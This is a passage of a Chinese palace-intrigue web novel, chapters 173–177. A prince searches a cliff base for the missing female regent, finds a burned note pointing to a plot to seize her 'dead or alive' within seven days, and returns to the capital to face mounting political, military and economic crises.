一名亲卫,小心翼翼、近乎虔诚地,双手捧着一个东西,走到他身侧:“殿下……这是在王爷坠崖处的岩石上,找到的。” 那是一枚红色的剑穗。丝绦是上好的苏杭红绸,末端系着一小截被摩挲得光滑温润的桃木剑饰。此刻,丝绦被崖边湿气打湿,颜色显得愈发深沉,那抹红,在火把光下,如同凝结的血,又像是她唇上最后一点残存的胭脂。 萧御的身体,几不可察地颤抖了一下。 他缓缓地、极其缓慢地伸出手,指尖碰到那冰凉的丝绦与微温的桃木,然后,将其紧紧握住,包裹在掌心,连同那片衣料。 触感依稀。 仿佛还能感受到她指尖残留的温度,嗅到她身上淡淡的、混合着冷冽与桃花清甜的气息。这是她留下的,最后一件与他、与过往紧密相关的、有形的信物。桃花剑已断(确已在高台混乱后寻回,但剑身裂痕触目惊心),虎符失踪,如今连人都…… “王爷……吉人天相,上天庇佑,定会……定会无恙的……”亲卫试图安慰,声音干涩,话语在呼啸的山风与轰鸣的水声中,苍白无力得像一张随时会被撕裂的薄纸。 吉人天相?上天庇佑? 萧御心中一片冰封的苦涩。她这一生,何曾倚靠过天相?何曾奢求过上天庇佑?她所拥有的一切,所达到的高度,所推行的变革,全是靠自己手中的剑,靠一步一个血印,从尸山血海里,从阴谋诡计中,从世人的不解与咒骂里,硬生生杀出来、拼出来、扛起来的! 可如今…… 这该死的悬崖!这该死的迷雾!这该死的河水!这该死的……命运! “殿下!”又一名搜救队的头目,浑身湿透,连滚带爬地从下游方向的浓雾中奔来,脸上混合着疲惫、惊疑,以及一丝……难以言喻的古怪神色。 “我们在下游……约莫三里处,一个河道拐弯形成的回水湾岸边,发现了一些……一些不寻常的痕迹。”他喘着粗气,语速很快,似乎自己也难以确信。 萧御猛地转身,动作牵扯到背后的伤口,剧痛让他眉头一拧,但那双眼睛却陡然爆发出骇人的亮光:“什么痕迹?说清楚!” 头目咽了口唾沫,努力组织语言:“岸边泥沙上,有脚印!不止一个人的!很凌乱,看大小和深浅,至少有三到四人,而且……有拖拽的痕迹,像是有人或重物被从水里拉上岸。” 他顿了顿,指着那个方向:“附近的灌木丛,有几处枝条被利刃齐根割断,断口很新,绝不是自然折断或野兽弄的。就在那些割断的灌木旁边,有一小滩……血迹。不多,但颜色新鲜,还没有被河水完全冲刷掉。最奇怪的是……” 他压低了声音,仿佛怕被山风听去:“血迹旁边,有半枚脚印。很模糊,但能看出大概轮廓和纹路。那靴子的样式、尺码……既不像我们的人穿的制式军靴或快靴,也绝对不像‘影鸦’死士那种薄底软靴。那是一种……更精细、甚至有点……秀气的纹路,像是……” 他迟疑地停顿住,最后一个形容哽在喉间,终究没敢当着萧御的面吐出来。 但那丝形容,已足够点燃引线。 萧御的心脏,在胸腔里毫无征兆地、剧烈地一撞!那感觉并非喜悦,更像是在一片死寂冰封的绝望冻土之下,突然有滚烫的熔岩翻腾而起,蛮横地冲击着、烧灼着、想要破土而出!冰冷的血液在瞬间被加热,冲向四肢百骸,连带着背后刀伤的剧痛都仿佛被这突如其来的悸动麻痹了一瞬! 难道……难道苍天终究不忍,留了一线生机? 她被湍急凶险的龙门河水卷走,却侥幸未被嶙峋礁石撞碎肢体,反而在下游水势稍缓的回水湾,靠着一丝残存的意志或运气,挣扎着爬上了岸? 但,仅仅一刹那,比那希望之火更迅猛、更阴寒的洪流——属于冷静、属于残酷现实、属于无数次与阴谋诡计打交道所磨砺出的本能警惕——如同深渊下蛰伏的暗涌,轰然反扑! 那刚刚燃起的一丁点星火,在更庞大冰冷的理智浇灌下,嘶嘶作响,明灭不定,几欲熄灭! 不对!逻辑不通! 谢凤卿是什么人?是即便身中剧毒、力竭濒危,也能在坠落瞬间本能护住要害、力求一线生机的绝顶高手!更是深谙谋略、深知自己对于帝国、对于萧御、对于新政意味着什么的摄政王! 如果她真的侥幸生还,意识尚存,哪怕只剩一口气,以她的心性和智慧,最合理的做法是什么? 她绝不可能悄无声息地独自离开河岸! 她会想尽一切办法,留在相对容易被搜寻队发现的河岸区域,哪怕只是移动到一个稍微显眼的位置,用石头、用血迹、用身上任何能留下的标记,发出信号!她会知道,萧御必然会倾尽一切力量搜救,留在河道附近,是获救几率最大的选择! 为何反其道而行,拖着伤躯,主动进入地形更为复杂、更容易迷失方向、且可能潜伏着未知危险的密林? 这不像求生,更像……有意隐匿行踪,或者,被迫转移! 还有那凌乱的多人的脚印……那明显的拖拽痕迹…… 假设是她自己行动,何来“多人”脚印?若她伤重到需要被“拖拽”,又哪有余力清除自己单独的足迹,只留下这些明显是“多人协作”的痕迹?这痕迹本身,就像是一个刻意留下又欲盖弥彰的谜题。 种种疑点,在萧御脑中急速闪过,拼凑出几种令人脊背发寒的可能性: 可能一:她被恰好经过的山民或猎户发现并救起。 对方或许出于善意,或许认出她身份不凡,将她带离河岸,寻找隐蔽处暂时安置或试图送出山。这是目前最“善意”也最“侥幸”的推测。 可能二:她落入了另一批早有预谋、潜伏在崖底附近的人手中。 这些人并非“影鸦”死士,而是另一股势力。他们或许一直暗中尾随,或许本就约定在此“接应”某种结果。他们将重伤的她捕获、控制、拖离现场。那些被割断的灌木,可能是在清理拖拽路径,也可能……是发生了短暂的、一方失去反抗能力的“处理”过程。 可能三:最坏的情况——这是敌人计划中的一环,“坠崖”本身就是目的,崖下早有布置。 “死活都要”的指令若在此时浮现在脑海,便显得格外惊心动魄。坠崖未必是刺杀失败的终点,而可能是转移、藏匿、或进行下一步操作的“中转站”。那脚印和拖拽痕迹,就是执行这一步骤留下的。 生?死?自由?被俘?善意救助?恶意捕获? 每一种可能性,都指向截然不同、且远比单纯“坠崖身亡”更加复杂、凶险、充满变数的未来!每一种可能,都需要截然不同的应对策略,但此刻,信息太少,迷雾太浓! 萧御的呼吸骤然变得粗重,不是因为希望,而是因为这希望背后可能隐藏的、更深的陷阱与更可怕的真相所带来的、近乎窒息的紧迫感! “扩大搜索范围!”他的声音因这复杂激烈的情绪冲击而微微变调,带着一丝不易察觉的颤抖,但其中的决断力却如同出鞘的利剑,寒光四射,不容置疑!“调集现在所有能调动的人手,以那片回水湾为圆心,给本王一寸一寸地搜! 重点就是那片密林!林中的每一棵树后,每一处灌木丛,每一个山洞,猎户废弃的木屋,野兽的巢穴……任何可能藏人或经过的地方,都不能放过!” 第174章死活……都要 他猛地转向旁边负责地图的亲卫:“图!龙门山方圆五十里……不,一百里内的详细地形图!所有已知的、可能通往山外的路径,无论大小,全部标出来!派出轻骑斥候,沿这些路径向外辐射探查,留意任何车马痕迹、可疑的行李、或形迹可疑之人!” “还有!”他的目光如电,射向那名汇报的头目和周围的几名军官,“立刻组织人手,分头行动,挨家挨户盘查这龙门山周边五十里内,所有村落、零散住户里的山民、猎户、樵夫、药农!问他们今日是否看到任何陌生面孔,听到任何异常的声响(比如打斗、呼救、多人行进),或者有无见到受伤的女子、可疑的队伍!告诉他们,提供有效线索者,重赏!但若有丝毫隐瞒、包庇、或知情不报……” 萧御的声音陡然降至冰点,字字如铁钉般砸下:“以谋逆同党论处,立斩不赦,祸及家小!” “是!遵命!”那头目和军官们被这森然杀气激得浑身一凛,齐声应诺,再无半点迟疑,迅速转身,如同被鞭子抽打的陀螺,带着各自的命令冲入浓雾弥漫的黑暗中,去调动那已疲惫不堪却不得不再次绷紧神经的搜救队伍。 希望。绝望。怀疑。焦虑。还有一丝被强行压抑下去的、对“被俘”可能性的恐惧与狂暴。 种种极端矛盾的情绪,如同被困在狭窄熔炉里的毒龙,在萧御心中疯狂地翻滚、撕咬、冲撞!几乎要将他的理智与强行维持的镇定撕裂! 他重新低下头,目光落在自己紧握的双手上。左手,是那片绣着金色桃花的玄色衣料,布料边缘的撕裂痕迹参差不齐,仿佛是她最后挣扎的定格。右手,是那枚湿冷的、颜色沉黯的桃花剑穗,桃木剑饰的边缘被他指腹摩挲得微微发热。 剑已断,锋芒暂折。 符已失,权柄蒙尘。 人无踪,生死难料。 这衣料和剑穗,是她留下的最后温度,是连接过去那个鲜活、强大、触手可及的她的脆弱纽带,却也是此刻最残忍的提醒——她不在身边,下落不明,吉凶未卜。 但……这突如其来的、充满矛盾的痕迹…… 或许,真的还有一线生机? 哪怕这生机可能伴随着更大的陷阱,更深的阴谋,更痛苦的境遇……但只要她还可能活着,哪怕只有万分之一的概率,就足以点燃他心中那永不熄灭的、名为“寻找”的火焰! 这念头如同黑暗深渊中的一点磷火,微弱,飘忽,却顽固地存在着。 然而,就在他心念电转,试图从这纷乱如麻的线索中理出哪怕一丝头绪,权衡着是希望更多还是陷阱更险,焦虑如同藤蔓般缠绕心脏愈收愈紧之际—— “殿下——!!!京城急报!十万火急——!!!” 一声凄厉到近乎撕裂声带、破了音的狂吼,如同丧钟般毫无预兆地,从他们来时的、那条通往崖顶的、近乎垂直的陡峭碎石小径顶端炸响! 那声音充满了极致的惊惶、濒死的疲惫,以及一种发现惊天秘密后不顾一切要传递出来的、近乎癫狂的急切! 所有人悚然抬头! 只见浓雾弥漫的小径上方,一个黑影以近乎翻滚、摔落的失控姿态,踉跄着、挣扎着向下扑来!那是个人,一个浑身浴血、仿佛刚从修罗血池里捞出来的人! 他身上的风雪十八骑制式轻甲已然残破不堪,刀痕剑创遍布,左肩甲胄完全碎裂,露出模糊的血肉,左臂以一个极其不自然的角度软软垂着,显然已经折断。脸上糊满了干涸与新涌出的血污,几乎看不清五官,唯有一双眼睛,在火把昏黄的光照下,燃烧着一种混合了巨大悲恸、刻骨愤怒与发现致命线索后孤注一掷的火焰! 他几乎是连滚带爬,最后几步几乎是顺着陡坡滑摔到萧御面前,扑倒在地,激起一片尘土。浓重的血腥味瞬间弥漫开来。 “何……事?!”萧御的心脏几乎停跳,他一个箭步上前,单膝跪地,扶住对方摇摇欲坠的肩膀,声音因极度不祥的预感而紧绷到极致。 那名重伤的骑士胸膛剧烈起伏,每一次呼吸都带着拉风箱般的嗬嗬声和血沫。他竭力抬起头,涣散的眼神努力聚焦在萧御脸上,用尽最后的力气,凑到萧御耳边。那声音极其微弱,气若游丝,却因承载的信息而重如千钧,每一个字都像是从肺腑里挤出来的血块: “殿……下……我们……按照王爷……之前秘密交代的几条……暗线……顺藤……摸瓜……查到……萧子玄……在京城西南……蛤蟆巷……最深处……一处……表面是废弃多年染坊的……地窖……” 他剧烈地咳嗽起来,更多的血沫涌出,却死死抓着萧御的手臂,指甲几乎要嵌进肉里:“……我们……今夜突袭……里面的人……正在焚烧……文书……死士……拼死抵抗……兄弟们……折了……三个……才……才杀进去……抢出来……一点……没烧完的……” 他颤抖得如同风中秋叶,用还能动的右手,艰难地、万分珍重地探入自己胸前早已被血浸透、冰冷板结的内衫贴肉处,摸索着,掏出一个用油纸紧紧包裹、但边缘已被血水和汗水浸染的小小物事。他哆嗦着打开油纸,里面赫然是一张只有巴掌大小、被烧得只剩下一角、焦黑卷曲、脆弱得仿佛一碰即碎的残破纸条。 他用尽最后的力气,将这张轻飘飘却又仿佛重于泰山的纸片,塞进萧御同样冰凉颤抖的手心里。然后,那支撑着他的最后一口气似乎耗尽了,他眼神迅速黯淡下去,身体一软,向后倒去,被旁边的亲卫急忙扶住。 萧御顾不得其他,所有的注意力瞬间被掌心那张残纸吞噬! 他屏住呼吸,指尖因用力而发白,小心翼翼地、极其缓慢地将那焦黑的纸角展开,凑到最近的火把之下。 光线昏黄跳跃。 纸条的大部分已化作灰烬,只剩连接处不到三分之一的一隅。纸张质地特殊,似绢非绢,似纸非纸,即使被火烧灼边缘,仍能看出原本的柔韧与挺括。焦黑的边缘不规则地蜷缩着,散发出淡淡的焦糊与血腥混合的古怪气味。 而在那残存的一小块、被烟熏火燎得模糊发黄的纸面上,几行用暗红色颜料书写的字迹,如同干涸的血,或深埋的朱砂,顽强地留存下来,虽然笔画断续,边缘洇染,但依稀可辨: “……崖下……接应……死活……都要……” “……七日……” “……京郊……老君庙……” 接应?! 死活都要?! 七日?! 老君庙?! 每一个词,都像是一把淬毒的冰锥,狠狠凿进萧御的眼眸,刺入他的脑海,钉穿他的心脏! “轰——!!!” 仿佛有惊雷在颅腔内炸开,又像是黑暗的宇宙骤然被惨白的闪电撕裂! 萧御的瞳孔,在这一瞬间,收缩到了极限,针尖般大小,死死锁定在那几个暗红如血的字迹上!握着残纸的手指,因为无法承受的震惊、愤怒、以及滔天巨浪般席卷而来的寒意而不受控制地剧烈颤抖,指关节绷紧到发白,几乎要将这承载着可怕真相的脆弱纸片当场捏成齑粉! 这张来自敌人最隐秘据点、在生死搏杀中抢出、几乎被焚烧殆尽的残破指令…… 它哪里是什么寻常线索? 它根本就是一道闪电!一道劈开重重迷雾、照亮了隐藏在最深处、最狰狞、最骇人真相的惨白闪电! 一瞬间,之前所有的疑点、矛盾、不合逻辑之处,仿佛都找到了一个邪恶而合理的归处! 难道……今日这场堪称惨烈、看似步步紧逼、意外频发的刺杀与逃亡,这最终导向断魂崖的绝路,谢凤卿的“意外”坠崖…… 这一切,根本就不是偶然,不是意外,甚至可能不完全是临时起意的追杀逼迫?! 难道……从太庙高台上那第一支淬毒弩箭开始,到沿途的阻截、追杀,再到最终将他们逼入断魂崖绝境……这环环相扣、看似凶险万分的绝杀之局,其最终目的,或者说其中一个至关重要的环节,就是为了让谢凤卿“恰好”在那个时间、那个地点,以那种方式—— 坠下断魂崖?! 因为崖下,早有“接应”! “死活……都要”! 这四个字,此刻读来,令人遍体生寒,毛骨悚然! “要死的”——是为了确保这个最强大的政敌、这个新政的灵魂人物彻底从世间消失,肉体毁灭,以最惨烈的方式宣告旧势力反扑的“胜利”,最大程度地震撼朝野,瓦解新政阵营的士气。这是最直接、最残酷的目的。 但“要活的”……其背后所图,可能远比“死亡”更加可怕,更加深远! 一个活着的谢凤卿,意味着什么? 意味着她脑中掌握的无数帝国机密、新政核心方案、军事布防细节、经济命脉布局、乃至墨家研究院那些惊世骇俗的技术雏形…… 第175章若你……不!没有“若” 意味着她作为摄政王、作为先帝托孤重臣、作为天下女子心中一面旗帜的巨大象征意义和政治筹码…… 意味着她可能成为与朝廷谈判、要挟萧御、与某些势力进行肮脏交易的活体筹码…… 也意味着,她可能被用于某些更隐秘、更邪恶、更难以想象的仪式、实验或长期囚禁与折磨…… 如果是后者……那她现在,极有可能还活着!但却落入了比死亡恐怖百倍、精心策划已久的敌人手中!等待她的,将是无法想象的煎熬、逼供、精神与肉体的双重摧毁,或是被榨干最后一点利用价值后,再以某种“合理”的方式悄然消失! 而“七日”之期…… 这是一个时限!一个催命符般的倒计时! 是“接应”行动必须完成、将她安全转移或藏匿的最后期限? 是敌人内部达成某种协议、或启动某个更大阴谋的时间节点? 是某种需要她“活着”才能进行的邪恶仪轨、或特殊药物审讯的准备周期? 还是……敌人判定如果超过这个时间,她要么再无价值,要么逃脱风险激增,故而设定的最终处置期限? “京郊……老君庙”! 这是一个地点!一个明确得令人心颤的坐标! 那是接头地点?是中转站?是临时关押处?还是……进行上述那些可怕事情的“场所”? 无数尖锐的疑问、骇人的推测、冰冷的联想,如同被惊扰的、带着毒刺的蜂群,在萧御的脑海中轰然炸开,疯狂地冲撞、叮咬、肆虐!冰冷的杀意与滚烫的焦虑,如同冰火两极,瞬间将他吞没,几乎要将他从内到外撕裂! 谢凤卿的生死,不仅没有因为那惊天一坠而“盖棺定论”,反而被抛入了一个更加迷雾重重、杀机四伏、每一步都可能是陷阱的黑暗迷宫之中! 这“七日”,此刻在萧御心中,早已超越了搜救的“黄金时间”概念。 它变成了一把高悬于帝国命脉之上、闪烁着诡谲寒光的达摩克利斯之剑,正在一刻不停地、嘀嗒作响地,进行着斩落的倒计时! 它更像是一头隐藏在深渊最底层的、庞大阴谋巨兽终于忍不住要浮出水面、张开血盆大口前,最后吸气的准备期! “集合——!!!” 萧御猛地从地上站起,动作之大牵动了背后所有伤口,剧痛如同无数钢针攒刺,让他眼前猛地一黑,身体晃了晃,险些栽倒。但他用剑鞘死死撑住地面,硬生生稳住了身形!再抬头时,脸上已没有丝毫血色,唯有一双眼睛,赤红如血,燃烧着近乎实质的、癫狂与冰冷奇异交织的火焰,那目光锐利如淬火重铸的刀锋,瞬间劈开了崖底沉重的暮色与浓雾! 他的声音,嘶哑、干裂,却带着一种斩断一切犹豫、破开一切阻碍的决绝力量,如同受伤头狼的嗥叫,瞬间压过了轰鸣的水声、呼啸的风声,以及周围所有纷乱的嘈杂: “立刻回京!” “殿下!您的伤势太重,必须……”旁边的亲卫首领看得心惊肉跳,上前急劝。 “闭嘴!”萧御厉声打断,每一个字都像是从牙缝里迸出来的冰碴,“我说,死不了!备马!最快的马!现在!立刻!” 他的目光扫过周围所有面孔,那眼神里的意志不容任何人反驳:“传令回府!所有核心人员,原地待命,加强戒备!没有我的亲口命令,任何人不得擅离岗位,不得与外界传递任何与搜救、与朝局无关的消息!违令者——斩!” 最后,他再次低头,深深看了一眼那片依旧翻涌不息、吞噬了谢凤卿的云雾深渊。那目光复杂到了极点,有刻骨的痛,有无边的恨,有沸腾的杀意,更有一种深入骨髓的、绝不放弃的执念。 然后,他决然转身,将手中那枚冰冷的桃花剑穗、那片残存的衣料、以及那张重若千钧的残破纸条,紧紧、紧紧地攥在了一起,按在剧烈跳动、疼痛与希望交织的心口。 凤卿。 等我。 若你真的还在人间,无论你身处何地,是何种炼狱,七日之内,上天入地,刀山火海,我也定会找到你,带你回家! 若你……不!没有“若”!你必须活着! 因为这盘棋,这局以天下和你我为注的生死棋,现在—— 才真正开始! ? 戌时。龙门山崎岖山道。 夜色如化不开的浓墨,沉沉地泼洒在龙门山崎岖的脊梁上。山风失了白日的呜咽,变得坚硬、锋利,如同无数把无形的冰刀,贴着岩壁刮过,发出尖锐的嘶鸣,切割着肌肤,带走仅存的热量。这风里,裹挟着断魂崖下带来的、若有若无的水汽与血腥味,钻进鼻腔,冰冷而腥甜。 数匹快马,如同挣脱了樊笼的困兽,在这险峻陡峭、近乎无路的山道上亡命疾驰。马蹄铁重重叩击着裸露的岩石和湿滑的泥土,溅起点点泥泞与火星,踏碎了山间死一般的寂静。马鼻喷出大股大股的白气,与骑士们急促呼吸产生的白雾混杂在一起,又被凌厉的寒风瞬间撕碎。手中火把的光,在狂风中剧烈地摇曳、明灭,将骑手们因极度疲惫、伤痛、焦虑而紧绷到极致的苍白面孔,映照得忽明忽暗,如同幽冥鬼火中浮沉的人影。 萧御几乎整个上半身都伏在了马背上,减少风阻,也勉强压抑着背后伤口传来的、一波烈过一波的撕裂痛楚。每一次颠簸,马鞍都如同重锤,狠狠撞击在刚刚包扎好的伤处,带来深入骨髓的锐痛,眼前阵阵发黑,冷汗早已浸透数层内衫,冰冷的布料紧贴在皮肤上,与不断渗出的温热血液混合,带来黏腻而令人战栗的触感。失血带来的虚弱感,如同潮水般阵阵袭来,试图拖拽他的意识沉入黑暗。他死死咬住下唇,直至尝到腥甜的铁锈味,用纯粹的意志力对抗着身体的抗议与崩溃的冲动。 他紧握缰绳的手指关节绷得发白,却稳如磐石,没有丝毫颤抖。目光如同淬火的铁钉,穿透前方无边的黑暗与呼啸的山风,死死锁定了京城方向那片隐约浮现的、灯火模糊的轮廓。那不仅仅是地理上的目标,更是权力中枢,是信息汇聚之地,是揭开谜团、展开反击的唯一战场。他要用这目光,烧穿这令人窒息的夜幕,烧出一条通往真相与她的血路! 脑海中,那张残破纸条上暗红如血的字迹,非但没有因时间的流逝和剧烈的痛楚而模糊,反而如同烧红的烙铁,一遍又一遍,更清晰、更灼热地烫刻在他的思维深处,每一次“翻阅”,都带来新的刺痛与冰寒。 “崖下接应”——这四个字,彻底颠覆了“意外”的性质。这意味着断魂崖不是偶然的终点,而可能是一个精心选择的“接收点”。敌人对那里的地形、水流速度、甚至水下暗礁的分布都了如指掌,才能提前安排人手潜伏或布置工具。谢凤卿的坠崖,在“接应”二字的映照下,陡然蒙上了一层恐怖的、人为操控的色彩。她不是“坠亡”,更像是被某种无形的丝线牵引着,坠向一个预设的“捕获网”或“转移通道”!这想法让他五脏六腑都绞拧起来。 “死活都要”——最是诛心蚀骨。要死的谢凤卿,是为了彻底摧毁新政的灵魂,震慑所有改革派,让帝国回到旧日轨道,或者陷入更混乱的争夺。这目的直接而残忍。但要活的谢凤卿……其背后所图,简直令人不敢深想。她脑中装着帝国大半的机密,从边防要塞的兵力部署、新型火器的研制图纸、到错综复杂的财政网络与未来十年的改革蓝图; 她本人就是新政最鲜明的旗帜,是无数寒门学子、新兴阶层、甚至部分开明士大夫的精神支柱;她还是先帝钦点的托孤重臣,拥有无可置疑的法统地位。一个活着的、被控制的谢凤卿,可以成为与朝廷谈判的终极筹码,可以成为瓦解新政阵营的“旗帜”,可以成为某些势力攫取技术、财富甚至皇位继承权的“钥匙”,更可能沦为满足某些人变态私欲或邪恶仪式的祭品……落在萧子玄或其背后黑手手中,生,远比死亡更可怕,更屈辱,更漫长。这种可能性带来的恐惧,甚至压过了她可能已然香消玉殒的悲痛,化作一种更为尖锐、更为暴戾的焦灼。 “七日”——这是一个精准而恶毒的时间锁。为什么是七天?是完成转移、将她藏匿到绝对安全地点所需的时间?是对她进行高强度审讯、榨取情报的极限周期?是等待某个外部接应者、或完成某项邪恶仪式(比如某些传闻中需要特定生辰、命格或身份的献祭)的准备期?还是与某个势力进行秘密交易、约定交付“货物”的最后期限?这“七日”如同一把悬在头顶、缓缓下降的铡刀,每过去一刻,刀锋就离脖颈更近一分,离拯救她的可能就更渺茫一分。 第176章殿下……情况……更糟了 “京郊老君庙”——这是黑暗迷雾中,唯一一个清晰、具体的地理坐标。一座废弃多年的道观?一个早已被遗忘的荒芜之地?还是表面破败、实则早已被改造为贼人巢穴、地下监牢的魔窟?必须立刻探查,但绝不能用大队人马打草惊蛇,否则很可能迫使对方提前转移,甚至……撕票。这需要最精锐的潜行高手,最敏锐的洞察力,以及……孤注一掷的勇气。 无数线索的碎片,带着血腥与阴谋的气息,在他剧痛与高速运转的脑海中疯狂碰撞、旋转、试图拼接。这环环相扣、精密狠毒到令人发指的布局,绝不可能是萧子玄那个志大才疏、近乎疯狂的宗室余孽能够独立策划执行的。宗室或许提供了死士、部分情报和仇恨的动机,但如此深远的谋划、对时机的精准把握(选择大婚当日)、对皇宫内部守卫与高台结构的渗透破坏、甚至在断魂崖下预设“接应”……这背后必然潜藏着一只更老辣、更隐蔽、能量也更庞大的黑手。 是谁?是朝中那些看似恭顺、实则对新政恨之入骨、盘根错节的旧党巨头?他们或许想借谢凤卿之死扳倒萧御,重掌朝纲。是某个远在边陲、手握重兵、对皇位始终未曾死心的藩王?比如西疆那位态度暧昧的镇远侯?他们可能想制造京城混乱,趁机攫取更大权力甚至问鼎中枢。还是……那些一直对谢凤卿新政带来的技术革新、国力增强感到不安,担心打破大陆势力平衡的域外强国?他们或许想除掉这个最大的“变数”,甚至想将她掳走,窃取那些足以改变战争形态的“奇技淫巧”? 凛冽的山风如同冰水,灌入他干渴灼痛的喉咙,带着挥之不去的血腥味和崖底特有的阴寒。但这冰冷,反而让他混乱灼热的思绪为之一清。 痛吗?痛彻骨髓,每一次呼吸都牵扯着背上皮开肉绽的伤口,每一次心跳都伴随着失去她的恐慌与空茫。 恨吗?恨欲焚天,恨那些躲在暗处的魑魅魍魉,恨自己的疏忽与无力,恨这操弄命运的翻云覆雨手。 但此刻,所有这些几乎要将他撕裂的极致情绪,都必须被强行按压、浓缩、投入理智的熔炉,接受现实最残酷的锻打!他需要将它们淬炼成最坚硬的铠甲,保护自己不至于崩溃;更需要将它们铸造成最锋利的剑刃,去劈开迷雾,斩杀仇敌,夺回挚爱! 因为,从谢凤卿的身影消失在断魂崖浓雾中的那一刻起,游戏的规则就已经被彻底改写。 这不再是一场猝不及防的刺杀与随之而来的被动搜救。 这是一场与时间赛跑的死亡竞逐,一场在黑暗中与未知敌人进行的无声博弈,一场决定帝国未来走向与所爱之人生死存亡的——终极对局!而他,已别无选择,必须成为执棋者,哪怕棋盘上沾满鲜血,哪怕每走一步都可能是万丈深渊。 亥时初刻。摄政王府。 当萧御带着一身仿佛从地狱深渊染上的寒露、浓得化不开的血腥气、以及那种深入骨髓、挥之不去的疲惫与紧绷,一步踏入王府正厅时,厅内原本就凝重到极致的气氛,瞬间凝固成了坚冰。 数十盏牛油大烛与青铜灯树将大厅照得亮如白昼,却丝毫驱不散弥漫在每个人眉宇间、呼吸里的沉重阴霾。下午在此议事的核心人员大多仍在,只是脸上的血色褪得更加干净,眼神中的惶恐与忧虑几乎要满溢出来。空气不再是简单的凝重,而是充满了山雨欲来、黑云压城、大厦将倾前那种令人窒息般的死寂与低压。无人交谈,甚至无人敢大声呼吸,只能听到烛火偶尔爆出的噼啪细响,以及窗外呼啸而过的、不安的夜风。 “殿下!”王府长史,那位素来以沉稳著称的老臣,第一个抢步上前。当他借着明亮的烛光,看清萧御此刻的模样时,声音不受控制地颤抖起来。那张脸苍白得不见一丝人色,嘴唇干裂泛紫,眼窝深陷,唯有一双眸子亮得骇人,里面仿佛燃烧着幽暗的地狱之火。背后的墨蓝色常服,肩胛处已然洇开一片深色,且范围似乎在缓慢扩大——那是伤口再度崩裂渗出的血。“您……您的伤势……万金之躯,万万不可再逞强啊!必须立刻召太医,仔细诊治,好生歇息……”话语中充满了真切的忧虑与惊惧。 “闭嘴。”萧御的声音嘶哑得像砂纸摩擦,却异常平稳,甚至带着一种冰封般的冷静。他没有理会长史的劝谏,甚至没有看一眼自己身上的血迹,径直穿过众人自动分开的通道,走到那张属于主位的紫檀木椅前。他没有立刻坐下,而是单手撑在光滑冰凉的扶手上,转过身,目光如同冰冷的探针,缓缓扫过厅内每一张或熟悉或紧张的面孔。 那目光所及之处,众人不由自主地垂下视线或屏住呼吸。此刻的萧御,虽然伤痕累累,形容憔悴,但周身散发出的那股混合着极致悲痛、暴戾杀意与强行压抑的疯狂的气场,却比任何健康的猛兽都要令人心悸。 “本王离开这数个时辰,”他开口,每个字都像冰珠子砸在青石地上,清晰而冷硬,“京中,又有何事?” 沉默。令人难堪的沉默。众人互相交换着眼神,都从对方脸上看到了更深的绝望与无奈。最后,还是户部尚书,这位谢凤卿提拔起来的干吏,硬着头皮上前一步,深深吸了一口气,仿佛要汲取足够的勇气来陈述接下来的话语。他声音压得极低,语速却很快,仿佛生怕慢一点,那些坏消息就会自己膨胀爆炸: “殿下……情况……更糟了。”他艰难地吐出这几个字,喉结滚动了一下,“旧党那边,以赵阁老、李御史为首的三位中坚,已联名上奏,措辞……措辞看似恳切,实则包藏祸心。他们以‘国不可一日无主,政不可一刻无纲’为由,要求……要求立即召开廷议,商议摄政王‘万一不幸’之后,朝政当如何处置,监国亲王之权柄……当如何界定与过渡。”他顿了顿,声音更低,“虽未明言,但其意昭然若揭,就是要逼迫朝廷,在搜救尚无确凿结果之前,立刻确认王爷的死讯,并以此为突破口,试图限制、分割,甚至……剥夺殿下您监国的权柄!此奏章一出,朝中观望者甚众,人心浮动啊殿下!” 户部尚书话音刚落,兵部侍郎立刻接上,这位武将出身的官员声音更急,带着压抑不住的愤怒:“北境、西疆,八百里加急军报又至!边军异动,愈发猖狂!北境龙武军副将周莽,竟擅自率领麾下三千精骑,以‘剿灭边境流窜马匪’为名,擅自离开防区五十余里!虽在我方严词诘问下已悻悻折返,但其跋扈之态、试探之意,已是昭然若揭!此例一开,后患无穷!” 他胸膛起伏,继续道:“西疆镇远侯的奏章更是……更是嚣张!他言辞看似‘恳切悲愤’,称边疆将士闻听摄政王遇刺坠崖,皆‘群情激愤,痛哭流涕’,纷纷请命,要‘清君侧,诛奸佞’,恳请朝廷彻查内部‘勾结逆党、谋害摄政’之元凶!这……这哪里是请命,分明是赤裸裸的武力威胁与逼宫!若朝廷应对稍有不慎,恐边衅立起!” 紧接着,女学基金的总管事,那位眼睛红肿却强自镇定的女子,也上前一步,声音带着急促与愤慨:“殿下,江南暗线刚刚冒死送出加急密信!物流总司设在江宁府的三大核心转运仓之一,昨夜莫名起火!火势虽被及时控制,未全毁,但仓内储存的即将发往北地的十万石新式粮种、五万匹改良棉布,以及大量往来账册凭证,损失惨重!现场留有火油痕迹,绝非天灾,定是人为纵火!此外,苏、杭、扬等地的世家大族,已开始私下串联本地商户,以‘时局不明,货物流通恐生变故’为由,联合起来暗中抵制我们的货品,恶意压价,企图切断基金在江南的商路命脉!其心可诛!” 坏消息,一个接着一个,如同三九寒冬里最冰冷的雹子,又急又密地砸落下来,每一颗都砸在众人本就绷紧的心弦上,发出不堪重负的呻吟。 朝堂上,旧党趁势反扑,逼宫夺权。 军队里,边将心怀异志,蠢蠢欲动。 经济上,核心产业遭袭,商路被扼。 谢凤卿这根定海神针刚刚“消失”,各方潜藏的妖魔鬼怪,便迫不及待地想要掀翻她所建立的一切。每一条消息,都在加速着帝国根基的松动与崩塌进程。 萧御静静地听着,脸上没有任何表情,既无惊怒,也无惶恐,甚至连眉毛都没有动一下。只有那双深不见底的眼眸深处,那簇冰冷的火焰,在静静地、却更加旺盛地燃烧着,映照着跳动的烛光,令人不敢直视。 第177章但为了她他别无选择 直到最后一个人说完,厅内重新陷入一片死寂,只剩下众人压抑的呼吸声和烛火燃烧的细微哔剥声。 他才缓缓开口,声音不高,甚至有些沙哑,但每一个字都如同沉重的铅块,清晰无比地砸在每个人的耳膜与心尖上: “知道了。” 如此平静,甚至可以说是漠然的反应,反而让在场众人感到一阵更深的、毛骨悚然的不安。这不像是一个刚刚遭受重创、面临绝境的人该有的反应。这平静之下,仿佛蕴藏着即将爆发的火山,或是冻结一切的绝对零度。 “王府长史。”萧御的目光转向那位须发皆白的老臣。 “老臣在。”长史立刻躬身,姿态谦卑而紧绷。 “以本王监国亲王的名义,起草谕令,回复赵阁老等人的联名奏章。”萧御的语调平稳得没有一丝波澜,仿佛在陈述一件与己无关的公务,“摄政王为国事操劳,于大婚之日遭逆党刺杀,力战不屈,坠崖失踪,此乃国之大殇,举国同悲。然,” 